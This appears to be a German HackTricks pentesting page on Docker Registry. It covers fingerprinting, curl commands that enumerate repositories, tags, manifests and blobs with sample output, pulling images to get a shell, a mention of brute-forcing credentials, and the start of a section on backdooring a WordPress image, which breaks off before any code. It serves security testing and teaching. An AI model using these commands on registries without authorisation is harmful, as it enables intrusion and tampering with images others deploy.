Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud Github-Repositories einreichen.
Grundlegende Informationen
Ein Speicher- und Verteilungssystem namens Docker-Registry ist für Docker-Images vorhanden, die benannt sind und in mehreren Versionen vorliegen können, die durch Tags unterschieden werden. Diese Images sind in Docker-Repositories im Registry organisiert, wobei jedes Repository verschiedene Versionen eines bestimmten Images speichert. Die bereitgestellte Funktionalität ermöglicht es, Bilder lokal herunterzuladen oder in das Registry hochzuladen, vorausgesetzt, der Benutzer verfügt über die erforderlichen Berechtigungen.
DockerHub dient als Standard-Public-Registry für Docker, aber Benutzer haben auch die Möglichkeit, eine lokale Version des Open-Source-Docker-Registry/-Distribution zu betreiben oder sich für das kommerziell unterstützte Docker Trusted Registry zu entscheiden. Darüber hinaus sind verschiedene andere öffentliche Registrierungen online verfügbar.
Um ein Bild aus einem lokalen Registry herunterzuladen, wird der folgende Befehl verwendet:
dockerpullmy-registry:9000/foo/bar:2.1
Dieser Befehl ruft das foo/bar-Bild in der Version 2.1 aus dem On-Premise-Register unter der Domain my-registry auf Port 9000 ab. Um das gleiche Bild von DockerHub herunterzuladen, insbesondere wenn 2.1 die neueste Version ist, vereinfacht sich der Befehl zu:
dockerpullfoo/bar
Standardport: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
Entdeckung
Der einfachste Weg, um diesen Dienst zu entdecken, ist es, ihn in der Ausgabe von nmap zu finden. Beachten Sie jedoch, dass es sich um einen auf HTTP basierenden Dienst handeln kann, der sich hinter HTTP-Proxies befindet und von nmap nicht erkannt wird.
Einige Fingerabdrücke:
Wenn Sie auf / zugreifen, wird in der Antwort nichts zurückgegeben
Wenn Sie auf /v2/ zugreifen, wird {} zurückgegeben
Wenn Sie auf /v2/_catalog zugreifen, erhalten Sie möglicherweise:
Das Docker-Register kann so konfiguriert sein, dass es HTTP oder HTTPS verwendet. Daher ist das erste, was Sie tun müssen, herauszufinden, welches davon konfiguriert ist:
Ein Docker-Registry kann auch so konfiguriert werden, dass Authentifizierung erforderlich ist:
curl-khttps://192.25.197.3:5000/v2/_catalog#If Authentication required{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required{"repositories":["alpine","ubuntu"]}
Wenn das Docker-Register eine Authentifizierung erfordert, können Sie versuchen, es mit dieser Methode zu brute-forcen. Wenn Sie gültige Anmeldeinformationen finden, müssen Sie sie verwenden, um das Register aufzulisten, in curl können Sie sie wie folgt verwenden:
Sobald Sie Zugriff auf das Docker-Register erhalten haben, können Sie folgende Befehle verwenden, um es aufzulisten:
#List repositoriescurl-shttp://10.10.10.10:5000/v2/_catalog{"repositories":["alpine","ubuntu"]}#Get tags of a repositorycurl-shttp://192.251.36.3:5000/v2/ubuntu/tags/list{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}#Get manifestscurl-shttp://192.251.36.3:5000/v2/ubuntu/manifests/latest{"schemaVersion":1,"name":"ubuntu","tag":"latest","architecture":"amd64","fsLayers": [{"blobSum":"sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"},{"blobSum":"sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"},{"blobSum":"sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"}],"history": [{"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},{"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},{"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}],"signatures": [{"header":{"jwk":{"crv":"P-256","kid":"DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX","kty":"EC","x":"leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg","y":"Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"},"alg":"ES256"},"signature":"GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q","protected":"eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"}]}#Download one of the previously listed blobscurl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blobtar-xfblob1.tar#After this,inspect the new folders and files created in the current directory
Beachten Sie, dass beim Herunterladen und Entpacken der Blobs-Dateien und -Ordner im aktuellen Verzeichnis erscheinen. Wenn Sie alle Blobs herunterladen und im selben Ordner entpacken, überschreiben sie Werte aus zuvor entpackten Blobs, also seien Sie vorsichtig. Es kann interessant sein, jeden Blob in einem anderen Ordner zu entpacken, um den genauen Inhalt jedes Blobs zu überprüfen.
Enumeration mit Docker
#Once you know which images the server is saving (/v2/_catalog) you can pull themdockerpull10.10.10.10:5000/ubuntu#Check the commands used to create the layers of the imagedockerhistory10.10.10.10:5000/ubuntu#IMAGE CREATED CREATED BY SIZE COMMENT#ed05bef01522 2 years ago ./run.sh 46.8MB#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB#Run and get a shelldockerrun-it10.10.10.10:5000/ubuntubash#Leave this shell runningdockerps#Using a different shelldockerexec-it7d3a81fe42d7bash#Get ash shell inside docker container
Backdooring WordPress-Abbild
In dem Szenario, in dem Sie ein Docker-Registry gefunden haben, das ein WordPress-Abbild speichert, können Sie es backdooren.
Erstellen Sie die Hintertür: